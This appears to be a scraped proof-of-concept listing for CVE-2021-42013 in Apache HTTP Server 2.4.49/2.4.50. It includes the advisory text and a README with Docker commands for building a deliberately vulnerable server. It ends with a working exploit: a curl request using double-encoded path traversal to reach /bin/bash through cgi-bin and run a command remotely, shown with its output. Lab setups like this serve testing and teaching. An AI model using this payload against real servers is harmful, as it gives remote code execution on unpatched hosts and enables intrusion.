CVE-2021-42013 PoC — Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

Source

https://github.com/12345qwert123456/CVE-2021-42013

Associated Vulnerability

Title:Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
Description:It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Description

Vulnerable configuration Apache HTTP Server version 2.4.49/2.4.50

Readme

# CVE-2021-42013 Vulnerable service
 
## Installation

Several options:

### 1. Docker container
```bash
docker run -d -p 8080:80 12345qwert123456/apache_2_4_50_cve-2021-42013
```

### 2. Dockerfile
```bash
git clone https://github.com/12345qwert123456/CVE-2021-42013.git

cd CVE-2021-42013-Vulnerable-service/2.4.50

docker build -t apache_2_4_50_cve-2021-42013 .

docker run -d -p 8080:80 apache_2_4_50_cve-2021-42013
```

## Explotation
Command:
```bash
curl --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://127.0.0.1:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"
```

Expected output:
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

File Snapshot


 [4.0K]  /data/pocs/72dfec0468d1b674c69a9eda0d465b90ed8c5501
├── [4.0K]  2.4.49
│   └── [ 333]  Dockerfile
├── [4.0K]  2.4.50
│   └── [ 333]  Dockerfile
└── [ 696]  README.md

2 directories, 3 files

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